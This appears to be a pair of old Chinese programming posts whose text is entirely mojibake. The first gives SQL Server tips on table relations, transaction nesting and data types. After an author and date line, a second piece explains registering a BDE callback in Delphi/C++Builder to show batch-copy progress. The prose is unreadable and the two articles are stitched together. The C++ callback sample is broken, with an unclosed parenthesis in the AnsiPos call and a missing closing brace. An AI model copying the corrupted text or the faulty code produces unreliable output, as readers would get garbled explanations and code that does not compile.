---- ΪÁ˱£Ö¤Êý¾Ý¿âµÄÒ»ÖÂÐÔºÍÍêÕûÐÔ£¬Éè¼ÆÈËÔ±ÍùÍù»áÉè¼Æ¹ý¶àµÄ±í¼ä¹ØÁª£¨Relation£©£¬¾¡¿ÉÄܵĽµµÍÊý¾ÝµÄÈßÓà¡£±í¼ä¹ØÁªÊÇÒ»ÖÖÇ¿ÖÆÐÔ´ëÊ©£¬½¨Á¢ºó£¬¶Ô¸¸±í£¨Parent Table£©ºÍ×Ó±í(Child Table)µÄ²åÈë¡¢¸üС¢É¾³ý²Ù×÷¾ùÒªÕ¼ÓÃϵͳµÄ¿ªÏú£¬ÁíÍ⣬×îºÃ²»ÒªÓÃIdentify ÊôÐÔ×Ö¶Î×÷ΪÖ÷¼üÓë×Ó±í¹ØÁª¡£Èç¹ûÊý¾ÝÈßÓàµÍ£¬Êý¾ÝµÄÍêÕûÐÔÈÝÒ׵õ½±£Ö¤£¬µ«Ôö¼ÓÁ˱í¼äÁ¬½Ó²éѯµÄ²Ù×÷£¬ÎªÁËÌá¸ßϵͳµÄÏìӦʱ¼ä£¬ºÏÀíµÄÊý¾ÝÈßÓàÒ²ÊDZØÒªµÄ¡£Ê¹ÓùæÔò£¨Rule£©ºÍÔ¼Êø£¨Check£©À´·Àֹϵͳ²Ù×÷ÈËÔ±ÎóÊäÈëÔì³ÉÊý¾ÝµÄ´íÎóÊÇÉè¼ÆÈËÔ±µÄÁíÒ»ÖÖ³£ÓÃÊֶΣ¬µ«ÊÇ£¬²»±ØÒªµÄ¹æÔòºÍÔ¼ÊøÒ²»áÕ¼ÓÃϵͳµÄ²»±ØÒª¿ªÏú£¬ÐèҪעÒâµÄÊÇ£¬Ô¼Êø¶ÔÊý¾ÝµÄÓÐЧÐÔÑéÖ¤Òª±È¹æÔò¿ì¡£ËùÓÐÕâЩ£¬Éè¼ÆÈËÔ±ÔÚÉè¼Æ½×¶ÎÓ¦¸ù¾Ýϵͳ²Ù×÷µÄÀàÐÍ¡¢Æµ¶È¼ÓÒÔ¾ùºâ¿¼ÂÇ¡£
ÊÂÎñµÄÏÝÚå
---- ÊÂÎñÊÇÔÚÒ»´ÎÐÔÍê³ÉµÄÒ»×é²Ù×÷¡£ËäÈ»ÕâЩ²Ù×÷Êǵ¥¸öµÄ²Ù×÷£¬SQL ServerÄܹ»±£Ö¤Õâ×é²Ù×÷Ҫôȫ²¿¶¼Íê³É£¬ÒªÃ´Ò»µã¶¼²»×ö¡£ÕýÊÇ´óÐÍÊý¾Ý¿âµÄÕâÒ»ÌØÐÔ£¬Ê¹µÃÊý¾ÝµÄÍêÕûÐԵõ½Á˼«´óµÄ±£Ö¤¡£
---- ÖÚËùÖÜÖª£¬SQL ServerΪÿ¸ö¶ÀÁ¢µÄSQLÓï¾ä¶¼ÌṩÁËÒþº¬µÄÊÂÎñ¿ØÖÆ£¬Ê¹µÃÿ¸öDMLµÄÊý¾Ý²Ù×÷µÃÒÔÍêÕûÌá½»»ò»Ø¹ö£¬µ«ÊÇSQL Server»¹ÌṩÁËÏÔʽÊÂÎñ¿ØÖÆÓï¾ä

---- BEGIN TRANSACTION ¿ªÊ¼Ò»¸öÊÂÎñ

---- COMMIT TRANSACTION Ìá½»Ò»¸öÊÂÎñ

---- ROLLBACK TRANSACTION »Ø¹öÒ»¸öÊÂÎñ

---- ÊÂÎñ¿ÉÒÔǶÌ×£¬¿ÉÒÔͨ¹ýÈ«¾Ö±äÁ¿@@trancount¼ìË÷µ½Á¬½ÓµÄÊÂÎñ´¦ÀíǶÌײã´Î¡£ÐèÒª¼ÓÒÔÌرð×¢Òâ²¢ÇÒ¼«ÈÝÒ×ʹ±à³ÌÈËÔ±·¸´íÎóµÄÊÇ£¬Ã¿¸öÏÔʾ»òÒþº¬µÄÊÂÎ↑ʼ¶¼Ê¹µÃ¸Ã±äÁ¿¼Ó1£¬Ã¿¸öÊÂÎñµÄÌύʹ¸Ã±äÁ¿¼õ1£¬Ã¿¸öÊÂÎñµÄ»Ø¹ö¶¼»áʹµÃ¸Ã±äÁ¿ÖÃ0£¬¶øÖ»Óе±¸Ã±äÁ¿Îª0ʱµÄÊÂÎñÌá½»£¨×îºóÒ»¸öÌá½»Óï¾äʱ£©£¬Õâʱ²Å°ÑÎïÀíÊý¾ÝдÈë´ÅÅÌ¡£

Êý¾Ý¿âÐÔÄܵ÷Õû
---- ÔÚ¼ÆËã»úÓ²¼þÅäÖúÍÍøÂçÉè¼ÆÈ·¶¨µÄÇé¿öÏ£¬Ó°Ïìµ½Ó¦ÓÃϵͳÐÔÄܵÄÒòËز»ÍâºõΪÊý¾Ý¿âÐÔÄܺͿͻ§¶Ë³ÌÐòÉè¼Æ¡£¶ø´ó¶àÊýÊý¾Ý¿âÉè¼ÆÔ±²ÉÓÃÁ½²½·¨½øÐÐÊý¾Ý¿âÉè¼Æ£ºÊ×ÏȽøÐÐÂß¼­Éè¼Æ£¬¶øºó½øÐÐÎïÀíÉè¼Æ¡£Êý¾Ý¿âÂß¼­Éè¼ÆÈ¥³ýÁËËùÓÐÈßÓàÊý¾Ý£¬Ìá¸ßÁËÊý¾ÝÍÌÍÂËٶȣ¬±£Ö¤ÁËÊý¾ÝµÄÍêÕûÐÔ£¬Çå³þµØ±í´ïÊý¾ÝÔªËØÖ®¼äµÄ¹Øϵ¡£¶ø¶ÔÓÚ¶à±íÖ®¼äµÄ¹ØÁª²éѯ£¨ÓÈÆäÊÇ´óÊý¾Ý±í£©Ê±£¬ÆäÐÔÄܽ«»á½µµÍ£¬Í¬Ê±Ò²Ìá¸ßÁË¿Í »§¶Ë³ÌÐòµÄ±à³ÌÄѶȣ¬Òò´Ë£¬ÎïÀíÉè¼ÆÐèÕÛÖÔ¿¼ÂÇ£¬¸ù¾ÝÒµÎñ¹æÔò£¬È·¶¨¶Ô¹ØÁª±íµÄÊý¾ÝÁ¿´óС¡¢Êý¾ÝÏîµÄ·ÃÎÊƵ¶È£¬¶Ô´ËÀàÊý¾Ý±íƵ·±µÄ¹ØÁª²éѯӦÊʵ±Ìá¸ßÊý¾ÝÈßÓàÉè¼Æ¡£
Êý¾ÝÀàÐ͵ÄÑ¡Ôñ
---- Êý¾ÝÀàÐ͵ĺÏÀíÑ¡Ôñ¶ÔÓÚÊý¾Ý¿âµÄÐÔÄܺͲÙ×÷¾ßÓкܴóµÄÓ°Ï죬ÓйØÕâ·½ÃæµÄÊé¼®Ò²Óв»ÉٵIJûÊö£¬ÕâÀïÖ÷Òª½éÉܼ¸µã¾­Ñé¡£
Identify×ֶβ»Òª×÷Ϊ±íµÄÖ÷¼üÓëÆäËü±í¹ØÁª£¬Õ⽫»áÓ°Ïìµ½¸Ã±íµÄÊý¾ÝǨÒÆ¡£

Text ºÍImage×Ö¶ÎÊôÖ¸ÕëÐÍÊý¾Ý£¬Ö÷ÒªÓÃÀ´´æ·Å¶þ½øÖÆ´óÐͶÔÏó£¨BLOB£©¡£ÕâÀàÊý¾ÝµÄ²Ù×÷Ïà±ÈÆäËüÊý¾ÝÀàÐͽÏÂý£¬Òò´ËÒª±Ü¿ªÊ¹Óá£

ÈÕÆÚÐÍ×ֶεÄÓŵãÊÇÓÐÖÚ¶àµÄÈÕÆÚº¯ÊýÖ§³Ö£¬Òò´Ë£¬ÔÚÈÕÆڵĴóС±È½Ï¡¢¼Ó¼õ²Ù×÷ÉϷdz£¼òµ¥¡£µ«ÊÇ£¬ÔÚ°´ÕÕÈÕÆÚ×÷ΪÌõ¼þµÄ²éѯ²Ù×÷Ò²ÒªÓú¯Êý£¬Ïà±ÈÆäËüÊý¾ÝÀàÐÍËÙ¶ÈÉϾÍÂýÐí¶à,ÒòΪÓú¯Êý×÷Ϊ²éѯµÄÌõ¼þʱ£¬·þÎñÆ÷ÎÞ·¨ÓÃÏȽøµÄÐÔÄܲßÂÔÀ´ÓÅ»¯²éѯ¶øÖ»ÄܽøÐбíɨÃè±éÀúÿÐС£
---- ÀýÈ磺Ҫ´ÓDATA_TAB1ÖУ¨ÆäÖÐÓÐÒ»¸öÃûΪDATEµÄÈÕÆÚ×ֶΣ©²éѯ1998ÄêµÄËùÓмǼ¡£
---- Select * from DATA_TAB1 where datepart(yy,DATE)=1998
×÷Õß: ccwlm741212    ʱ¼ä: 2003-11-23 12:56
¿Í»§/·þÎñÆ÷Ô¶³ÌÊý¾Ý´«Êä´¦Àí¼¼ÇÉ

---- ÔÚ Êµ ¼Ê µÄMIS ϵ ͳ ÖУ¬ Ô¶ ³Ì Êý ¾Ý ¿â ·Ã ÎÊ ´ó ¶à ͨ ¹ýModem Á¬ ½Ó£¬ ³ö ÓÚ Í¨ ÐÅ ·Ñ Óà ¼° ËÙ ¶È ·½ Ãæ µÄ ¿¼ ÂÇ£¬ Íù Íù ²É Óà ÏÈ ½« Êý ¾Ý ±£ ´æ ÔÚ ±¾ µØ£¬ È» ºó ¼¯ ÖÐ ´« ËÍ µ½ Ô¶ ¶Ë µÄ °ì ·¨¡£ Ô¶ ³Ì Êý ¾Ý ´« ËÍ ¿É ÒÔ ÓÐ ¶à ÖÖ ·½ °¸£¬ ×î ³£ ¼û µÄ ÊÇ ÏÈ ½« Òª ´« ËÍ µÄ Êý ¾Ý ´ò °ü ³É ÎÄ ¼þ£¬ ÔÚ Àû Óà ÎÄ ¼þ ´« Êä ÐΠʽ ´« ËÍ µ½ Ä¿ µÄ µØ£¬ ÔÚ Ä¿ µÄ µØ ¶Ô Êý ¾Ý »Ö ¸´ ºó Ìí ¼Ó µ½ ±¾ µØ Êý ¾Ý ¿â ÖС£ Õâ ÖÖ ·½ ·¨ ÆÕ ±é µØ Ó¦ Óà ÓÚ Ö¤ ȯ ½» Ò× Ïµ ͳ£¬ Æä ÓÅ µã ÊÇ ËÙ ¶È ¿ì£¬ ²¢ ÇÒ ¿É Ê ÏÈ ¶Ô Êý ¾Ý ѹ Ëõ£¬ ¸ü ´ó ÏÞ ¶È µØ ½Ú Ô¼ ´« ËÍ Ê± ¼ä ¼° ·Ñ Óᣠµ« Õâ ÖÖ ·½ °¸ Ò² ÓÐ Æä ²» ×ã Ö® ´¦£º ÓÉ ÓÚ Àû Óà ÎÄ ¼þ ´« Êä »ú ÖÆ£¬ ÎÞ ·¨ Àû Óà Êý ¾Ý ¿â ±¾ Éí µÄ ÌØ ÐÔ Èç Íê Õû ÐÔ Ô¼ Êø¡¢ Êý ¾Ý Ò» Ö ÐÔ¡¢ »Ø ¹ö »ú ÖÆ µÈ£¬ Òò ´Ë ÔÚ ±È ½Ï ¸´ ÔÓ µÄ Êý ¾Ý ¿â ϵ ͳ ÖÐ ½Ï ÉÙ ²É ÓᣠÁí Ò» ÖÖ ·½ ·¨ ÊÇ Ö± ½Ó ½« Á½ ¶Ë ´¦ Àí ³É" ¿Í »§/ ·þ Îñ Æ÷" Ä£ ʽ£¬ ½« Êý ¾Ý ´« ËÍ ¿´ ³É ÊÇ ÏòServer Ìá ½» Êý ¾Ý¡£ ÓÉ ÓÚ Õâ ÖÖ ·½ °¸ ³ä ·Ö Àû Óà ÁË Êý ¾Ý ¿â ·þ Îñ Æ÷ µÄ ÌØ ÐÔ£¬ ²¢ ÇÒ Êµ ¼Ê ²Ù ×÷ »ù ±¾ Óë ¾Ö Óò Íø ·½ ʽ Ò» Ö£¬ Òò ´Ë ±¾ ÎÄ ½« Ïê ϸ ½é ÉÜ Õâ ÖÖ ·½ °¸¡£ Áí Íâ ±¾ ÎÄ µÄ ²¿ ·Ö ÄÚ ÈÝ ÊÇ »ù ÓÚDelphi/CBuilder µÄ¡£

---- ÓÉ ÓÚ ´« Êä ËÙ ¶È µÄ Ô­ Òò£¬ µ± ´« ËÍ ´ó Á¿ Êý ¾Ý ʱ ¾ø ¶Ô ²» ÔÞ ³É Öð Ìõ ¼Ç ¼ µØ Ïò ·þ Îñ Æ÷ Ìá ½» Êý ¾Ý£¬ ¶ø Ó¦ Åú Á¿ µØ ÏòServer Ìá ½»£¬Delphi/CBuilder ÖÐ Ìá ¹© ÁË Ò» ¸öTBatchMove ¿Ø ¼þ ר ÃÅ Óà ÓÚ Åú Á¿ ´« ËÍ Êý ¾Ý£¬ Àû Óà Ëü ¿É ¼« ´ó ¼õ ÉÙ Íø Âç ¸º µ££¬ Ìá ¸ß ´« ËÍ ËÙ ¶È¡£ ÒÅ º¶ µÄ ÊÇ£¬TBatchMove ¿Ø ¼þ Ö» Ìá ¹© ÁË ¼ò µ¥ µÄ ´í Îó ¿Ø ÖÆ ¹¦ ÄÜ£¬ û ÓÐ Ìá ¹© ÏÔ Ê¾ ´« ËÍ ½ø ¶È¡¢ Óà »§ ÖÕ Ö¹ ´« ËÍ µÈ ÖØ Òª ¹¦ ÄÜ¡£ È» ¶øTBatchMove Ëù ÒÀ Àµ µÄBDE È´ Ìá ¹© ÁË Ò» ÖÖ" »Ø µ÷ »ú ÖÆ" ¿É ÒÔ Íê ³É ÉÏ Êö Á½ ¸ö ¹¦ ÄÜ¡£ Ëù ν" »Ø µ÷" ¹ý ³Ì ÊÇ Õâ Ñù µÄ£º µ±BDE Ö´ ÐРij ÖÖ ²Ù ×÷ ʱ£¬ ±È Èç ´Ó Ò» ÕÅ ±í Ïò Áí Ò» ÕÅ ±í ¿½ ±´ ´ó Á¿ Êý ¾Ý µÄ ¹ý ³Ì ÖУ¬ ÿ ¹ý Ò» ¶Î ʱ ¼ä£¨ Èç Ðè Òª ÏÔ Ê¾ ¿½ ±´ ½ø ¶È ʱ£©£¬BDE »á µ÷ Óà һ ¶Î Äã ×Ô ¼º д µÄ º¯ Êý£¨ »Ø µ÷ º¯ Êý£©£¬ ÒÔ °ï Öú Äã ¸ü Íê È« µØ ¿Ø ÖÆ ³Ì Ðò¡£ Õâ ÖÖ ×ö ·¨ ÓÐ µã ÏëDLPHI ÖÐ µÄEvent£¨ Ê ¼þ£© ¼° Ê ¼þ ´¦ Àí º¯ Êý-- ij ¸ö ¾ß Ìå µÄ ²Ù ×÷ ¶¯ ×÷ »á ÈÃVCL ´¥ ·¢ ij ¸ö Ê ¼þ£¬ ´Ó ¶ø µ÷ Óà һ ¶Î Äã д ºÃ µÄ Ê ¼þ ´¦ Àí º¯ Êý£¬ ²» ͬ µÄ Ê ¼þ »á ´¥ ·¢ ²» ͬ µÄ ´¦ Àí º¯ Êý¡£

---- Ϊ ÁË ÈÃBDE ÄÜ Õý È· µØ Óë Äã µÄ º¯ Êý Э ͬ ¹¤ ×÷£¬ Äã ±Ø Ðë Ê ÏÈ" ×¢ ²á" Äã µÄ º¯ Êý£¬ ÈÃBDE Öª µÀ ij ¸ö Ê ¼þ ·¢ Éú ʱ Ó¦ µ÷ Ó㨠»Ø µ÷£© Äã µÄ Ä³ ¶Î ´ú Âë¡£BDE Ìá ¹© ÁË Ò» ¸öDbiRegisterCallBack ×¢ ²á º¯ Êý£¬ ²» ÐÒ µÄ ÊÇ£¬BDE µÄ Áª »ú °ï Öú ÖÐ µÄ ˵ Ã÷ ²» ÄÜ ÊÊ ºÏ ÓÚDelphi/CBuilder£¬ °´ ÕÕ ¸Ã ˵ Ã÷ ±à д µÄ ³Ì Ðò ¸ù ±¾ ²» ÄÜ Í¨ ¹ý ±à Òë £¡ ±Ê Õß Í¨ ¹ý ʵ ¼ù ÕÒ µ½ ÁË Õý È· ʹ ÓÃBDE »Ø µ÷ º¯ Êý µÄ ·½ ·¨£¬ Ï Ãæ ½« Ïê ϸ ½é ÉÜ ¸Ã »ú ÖÆ µÄ ʹ ÓᣠBDE »Ø µ÷ »ú ÖÆ °ü º¬ ÒÔ Ï ¼¸ ¸ö ²½ Ö裺

---- 1£© °´BDE µÄ Ô¤ ¶¨ ¸ñ ʽ ±à д Äã µÄ »Ø µ÷ º¯ Êý

---- 2£© µ÷ ÓÃDbiRegisterCallBack º¯ Êý ×¢ ²á Äã µÄ »Ø µ÷ º¯ Êý£¬ Õâ Ñù µ± Äã Ö´ ÐÐ Ïà ¹Ø Êý ¾Ý ¿â ²Ù ×÷ ʱ ¾Í ×Ô È» µØ ´¥ ·¢ Äã µÄ »Ø µ÷ º¯ Êý¡£

---- 3£© Ö´ ÐÐ Ïà ¹Ø Êý ¾Ý ¿â ²Ù ×÷£¬ ±È ÈçBatchMove1- >Exectue();

---- 4£© ×¢ Ïú ¸Ã »Ø µ÷ º¯ Êý

---- Æä ÖÐ ×î ¹Ø ¼ü µÄ ÊÇ Õý È· ×¢ ²á Äã µÄ »Ø µ÷ º¯ Êý£¬ Òò ´Ë ÏÈ ½é ÉÜ µÚ ¶þ ²½¡£( ×¢ ²á Óë ×¢ Ïú ¶¼ µ÷ Óà ͬ Ò» º¯ Êý£¬ Ö» ÊÇ ×î ºó Ò» ¸ö ²Î Êý ÂÔ ÓÐ ²» ͬ)

---- Ê× ÏÈ Äã Ó¦ Öª µÀ ÔÚ ÄÄ Àà" Ê ¼þ" ·¢ Éú ʱ µ÷ Óà Äã µÄ »Ø µ÷ º¯ Êý£¬ Æä ´Î Äã Ó¦ Ã÷ °× Óë ¸Ã Ê ¼þ Ïà ¹Ø µÄ ²Î Êý ¼° Êý ¾Ý ½á ¹¹-- Õâ Ò» ÇÐ ¶¼ ·¢ Éú ÔÚ µ÷ ÓÃDbiRegisterCallBack º¯ Êý ×¢ ²á ʱ£¬ Ëù ÒÔ Ï Ãæ ÏÈ ½é ÉÜDbiRegisterCallBack µÄ Õý È· Óà ·¨ ¼° ˵ Ã÷£º

---- ÔÚ Ô­BDE °ï Öú ÖÐ ¸Ã º¯ Êý µÄ Ô­ ÐΣ¨C£© ÊÇ Õâ Ñù µÄ

DBIResult DBIFN DbiRegisterCallBack (hCursor,
ecbType, iClientData, iCbBufLen, pCbBuf, pfCb);

---- Òª ʹ Óà ¸Ã º¯ Êý ±Ø Ðëinclude Í· ÎÄ ¼þ£¬ ÎÊ Ìâ ÊÇDelphi/CBuilder ÖÐ ¸ù ±¾ û ÓÐ Ìá ¹© ¸Ã ÎÄ ¼þ£¬ È¡ ¶ø ´ú Ö® µÄ ÊÇ"BDE.HPP"£¬ µ« ÊÇ ÔÚ °ü º¬ ½ø ¸Ã ÎÄ ¼þ ºó ³Ì Ðò ÈÔ È» ²» ÄÜ ±à Òë ͨ ¹ý£¬ Òò Ϊ ¸Ã ÎÄ ¼þ ÖРû ÓÐDBIFN µÈ µÄ ˵ Ã÷¡£ Ò» ¸ö ¼ò µ¥ µÄ ·½ ·¨ ÊÇ ÔÚ ´ú Âë ÖРȥ µôDBIFN¡£ º¯ Êý ÖÐ ¸÷ ²Î Êý ½â ÊÍ Èç Ï£ºhCursor ÊÇ Ò» ¸öBDE ÖÐ ¶Ô Ïó µÄ ¾ä ±ú£¬ Èç ¹û Õâ ¸ö ²Î Êý ΪNULL£¬ Ôò ±í ʾ ×¢ ²á µÄ »Ø µ÷ º¯ Êý ÊÊ ºÏ ÓÚ Ëù ÓÐBDE ÈÎ Îñ£» µÚ ¶þ ¸ö ²Î ÊýecbType ÊÇ Ö¸ »Ø µ÷ º¯ Êý µÄ ´¥ ·¢ Ìõ ¼þ µÄ Àà ±ð£¬ ÓÐ ºÜ ¶à ÖÖ Àà ÐÍ ¿É ÒÔ Ñ¡ Ôñ£¬ Æä ÖÐcbGENPROGRESS ±í ʾ µ± Ðè Òª ÏÔ Ê¾ Ò» ¸ö ³¤ ²Ù ×÷ µÄ ½ø ¶È ʱ ´¥ ·¢ Õâ ¸ö »Ø µ÷ º¯ Êý£» µÚ Èý ¸ö ²Î ÊýiClientData ÊÇ ´« µÝ ¸ø »Ø µ÷ º¯ Êý µÄ ij ¸ö Êý ¾Ý ½á ¹¹ µÄ Ö¸ Õ룬 ÔÚ ÎÒ ÃÇ µÄ Àý ×Ó ÖРΪNULL£» µÚ ËÄ ¸ö ²Î ÊýiCbBufLen ÊÇ Ö¸ »Ø µ÷Buffer µÄ ´ó С£¬ ¸Ã ´ó С Ëæ µÚ ¶þ ¸ö ²Î Êý µÄ ²» ͬ ¶ø ²» ͬ£¬ ±È Èçsizeof(CBPROGRESSDesc)£» µÚ Îå ¸ö ²Î ÊýpCbBuf ÊÇ »Ø µ÷Buffer µÄ Ö¸ Õ룬 ¸Ã Ö¸ Õë Àà ÐÍ Ëæ µÚ ¶þ ¸ö ²Î Êý ±ä »¯£¬ ±È ÈçcbGENPROGRESS µÄ Êý ¾Ý ½á ¹¹ ÊÇCBPROGRESSDesc£» ×î ºó Ò» ¸ö ²Î Êý ÊÇ »Ø µ÷ º¯ Êý µÄ µØ Ö· Ö¸ Õ룬 µ± ¸Ã ²Î Êý ΪNULL ʱ ±í ʾ ×¢ Ïú ¸Ã Àà ÐÍ µÄ »Ø µ÷ º¯ Êý¡£ ¹Ø ÓÚ »Ø µ÷ º¯ Êý ½« ÔÚ ÉÔ ºó Ïê ϸ ½é ÉÜ¡£ Ï Ãæ ÊÇ ×¢ ²á Ö´ ÐÐ ³¤ ²Ù ×÷ ʱ ÏÔ Ê¾ ½ø ¶È µÄ »Ø µ÷ º¯ Êý µÄ ¸ñ ʽ£º

int rst=   DbiRegisterCallBack (NULL,
//ÊʺÏÓÚÈκνø³Ì
cbGENPROGRESS, //»Øµ÷ÀàÐÍ£ºÏÔʾ³¤²Ù×÷µÄ½ø¶È
NULL,        //ûÓÐÊý¾Ý
sizeof(CBPROGRESSDesc), //Êý¾Ý½á¹¹µÄ´óС
&aCBBuf,         //Êý¾ÝµÄÄÚ´æµØÖ·
ApiCallBackFun  //»Øµ÷º¯ÊýµÄµØÖ·
);

---- ½Ó Ï À´ ¾Í Ó¦ ¸Ã Íê ³É µÚ Ò» ²½£º ±à д »Ø µ÷ º¯ Êý

---- ÔÚC ÖУ¬ »Ø µ÷ º¯ Êý Ó¦ Èç Ï Éù Ã÷£º

CBRType __stdcall ApiCallBackFun(
CBType       ecbType,    //»Øµ÷ÀàÐÍ
int       iClientData,   //»Øµ÷Êý¾Ý£¨Ö¸Õ룩
void *        pCbInfo    //»Øµ÷Êý¾Ý½á¹¹Ö¸Õë
)

---- µÚ Ò» ¸ö ²Î Êý ÊÇ »Ø µ÷ Àà ÐÍ£» µÚ ¶þ ¸ö ²Î Êý ÊÇ »Ø µ÷ Êý ¾Ý£¬ Æä ½â ÊÍ Í¬DbiRegisterCallBack µÄ µÚ Èý ¸ö ²Î Êý£» µÚ Èý ¸ö ÊÇ »Ø µ÷ Êý ¾Ý µÄ Ö¸ Õ룬 ¸Ã Êý ¾Ý µÄ ½á ¹¹ Ëæ »Ø µ÷ Àà ÐÍ µÄ ²» ͬ ¶ø ²» ͬ¡£ ±È Èç ½ø ¶È Ö¸ ʾcbGENPROGRESS µÄ Êý ¾Ý ½á ¹¹ ÊÇCBPROGRESSDesc£¬ Æä ¶¨ Òå Èç Ï£º

struct CBPROGRESSDesc {
short iPercentDone;        //½ø¶ÈµÄ°Ù·Ö±È
char szMsg[128];  //½ø¶ÈµÄÎı¾ÐÅÏ¢
};

---- ¸Ã ½á ¹¹ µÄ Á½ ¸ö Óò ͬ ʱ Ö» ÓÐ Ò» ¸ö Æð ×÷ Ó㬠µÚ Ò» ¸ö ±í ʾ ²Ù ×÷ µÄ ½ø ¶È °Ù ·Ö ±È£¬ µ± Æä Ϊ-1 ʱ ±í ʾ µÚ ¶þ ¸ö Óò Æð ×÷ ÓᣠµÚ ¶þ ¸ö Óò Óà ×Ö ·û ´® ±í ʾ ½ø ¶È ЊϢ£¬ Æä ¸ñ ʽ Ϊ< String >< : >< Value >£¬ ±È È磺Records Copied : 125

---- ±¾ ÎÄ Ö÷ Òª ÔÚ »Ø µ÷ º¯ Êý ÖÐ Íê ³É Á½ ¸ö ¹¤ ×÷£º

---- 1£© ÏÔ Ê¾ Êý ¾Ý ¿½ ±´£¨BatchMove£© ½ø ¶È

---- 2£© Ìá ¹© Èà Óà »§ ÖÕ Ö¹ ³¤ ʱ ¼ä ¿½ ±´ µÄ »ú ÖÆ

---- ÏÔ Ê¾ ¿½ ±´ ½ø ¶È µÄ ´ú Âë Èç Ï£º

CBRType __stdcall ApiCallBackFun(
CBType       ecbType,    // Callback type
int       iClientData,  // Client callback data
void *        pCbInfo   // Call back info/Client)
{   AnsiString str;
   if(ecbType==cbGENPROGRESS)
      {
       int j=  StrToInt( ((CBPROGRESSDesc*)
       pCbInfo)- >iPercentDone);
       if(j< 0)
       //Èç¹ûiPercentDoneΪ-1£¬Ôò·ÖÎöszMsgµÄÐÅÏ¢
       {
       str=((CBPROGRESSDesc*)pCbInfo)- >szMsg;
       int pos=str.AnsiPos(":"+1;
       //ÌáÈ¡³ö¿½±´µÄ¼Ç¼Êý
       //ÏÂÃæµÄ´úÂëÓÃÀ´ÔÚÒ»¸öFormÖÐÏÔʾ¿½±´½ø¶È¼°¿½±´ÊýÁ¿
       Form1- >Label2- >Caption= str.SubString(pos,100);  
       Form1- >Label2- >Update();
       Form1- >ProgressBar1- >Position=
       int((str.SubString(pos,100).
       ToDouble()/Form1- >TransNum)*100);
       Form1- >ProgressBar1- >Update();
       }
    else
       {Form1- >ProgressBar1- >Position=j;
       Form1- >ProgressBar1- >Update();
       }
   return cbrCONTINUE;
  //±ØÐë·µ»ØcbrCONTINUEÒÔ±ãÈÃBatchMove¼ÌÐø
    //Èô·µ»ØcbrABORTÔòÖÕÖ¹¿½±´       
}

---- Ò» ÇÐ Íê ³É ÒÔ ºó£¬ ÿ µ± µ÷ Óà ³¤ ʱ ¼äBDE ²Ù ×÷£¨ ±È ÈçBatchMove1->Exectue()£© ʱ ¶¼ »á ´¥ ·¢ ¸Ã »Ø µ÷ º¯ Êý£¬ ×¢ Òâ ÔÚ ²» Ðè Òª ʱ Ó¦" ×¢ Ïú" Õâ ¸ö »Ø µ÷ º¯ Êý¡£

---- Èç ¹û Åú Á¿ ´« ËÍ Êý ¾Ý ʱ ¼ä ºÜ ³¤£¬ Ôò ±Ø Ðë Ϊ Óà »§ Ìá ¹© ÖÕ Ö¹ ¸Ã ²Ù ×÷ µÄ »ú »á£¬ Ç° Ãæ Ìá µ½£¬ Èô »Ø µ÷ º¯ Êý ·µ »ØcbrABORT£¬ ÔòBatchMove ¹ý ³Ì Á¢ ¼´ ÖÕ Ö¹¡£ ¿É ÒÔ ÔÚForm ÉÏ ¼Ó ÉÏ Ò» ¸ö" Í£ Ö¹" °´ Å¥ ºÍ Ò» ¸ö È« ¾Ö ²¼ ¶û ±ä Á¿isContinue£¬ µ± ¿ª ʼ ¿½ ±´ ʱ Éè ¸Ã ±ä Á¿ Ϊtrue£¬ µ± °´ Å¥ °´ Ï ºó£¬ Éè ¸Ã ±ä Á¿ Ϊfalse£¬ ÿ ´Î µ÷ Óà »Ø µ÷ º¯ Êý ʱ ¼ì ²éisContinue µÄ Öµ£¬ Èô Ϊtrue Ôò »Ø µ÷ º¯ Êý ·µ »ØcbrCONTINUE Èà ¿½ ±´ ¼Ì Ðø£¬ ·ñ Ôò ·µ »ØcbrABORT ÖÕ Ö¹ ¿½ ±´¡£ µ« ÊÇ ÎÊ Ìâ ÔÚ ÓÚ Ò» µ© ¿½ ±´ ¹ý ³Ì ¿ª ʼ£¬ ¸Ã ½ø ³Ì ÄÚ Ëù ÓÐ Ïû Ï¢ ½« ±» ×è Èû£¬ Ó¦ Óà ³Ì Ðò ÔÚ ¿½ ±´ ½á Êø Ö® Ç° û ÓÐ »ú »á Ïì Ó¦ ¼ü ÅÌ¡¢ Êó ±ê µÈ Ò» ÇÐ Ïû Ï¢£¬ Á¬ ÆÁ Ä» Ë¢ Р¶¼ ²» ÄÜ Íê ³É£¬ Òò ´Ë ±Ø Ðë ÕÒ µ½ Ò» ÖÖ ±Ü Ãâ Ïû Ï¢ ×è Èû µÄ ·½ ·¨¡£

---- ´ó ¼Ò Öª µÀ£¬Windows ÊÇ ¿¿ Ê ¼þ£¨ Ïû Ï¢£© Çý ¶¯ µÄ£¬ ÔÚWIN32 ϵ ͳ ÖÐ ÓÐ Á½ ÖÖ Ïû Ï¢ ¶Ó ÁУº ϵ ͳ ¶Ó ÁÐ ºÍ Ó¦ Óà ³Ì Ðò ¶Ó ÁУ¬ µ± Ò» ¸ö ³Ì Ðò ½ø ÐÐ Ò» ¸ö ³¤ ʱ ¼ä ²Ù ×÷ ʱ£¬ ϵ ͳ ·Ö Åä ¸ø ¸Ã ³Ì Ðò µÄ ʱ ¼ä Ƭ ½« Íê È« Óà ÓÚ ´¦ Àí ¸Ã ²Ù ×÷£¬ »» ¾ä »° ˵£¬ Ó¦ Óà ³Ì Ðò û ÓÐ ´Ó Ëü µÄ Ó¦ Óà ³Ì Ðò ¶Ó ÁÐ ÖÐ È¡ ³ö Ïû Ï¢ ²¢ ´¦ Àí µÄ »ú »á£¬ Õâ Ñù ¸Ã ³Ì Ðò ½« Í£ Ö¹ Ò» ÇÐ ¶Ô Íâ ²¿ Ê ¼þ µÄ Ïì Ó¦ Ö± µ½ ¸Ã ²Ù ×÷ Íê ³É Îª Ö¹¡£ ¾ß Ìå µ½ ±¾ ÎÄ ÖÐ ¾Í ÊÇ ³Ì Ðò ±Ø Ðë µÈ µ½BatchMove1- >Execute() Ö´ ÐÐ Íê ±Ï ºó ²Å ÄÜ Ïì Ó¦ Óà »§ ²Ù ×÷£¬ Òò ´Ë Óà »§ ½« Íê È« û ÓÐ »ú »á ÖÕ Ö¹ ¿½ ±´ ¹ý ³Ì¡£

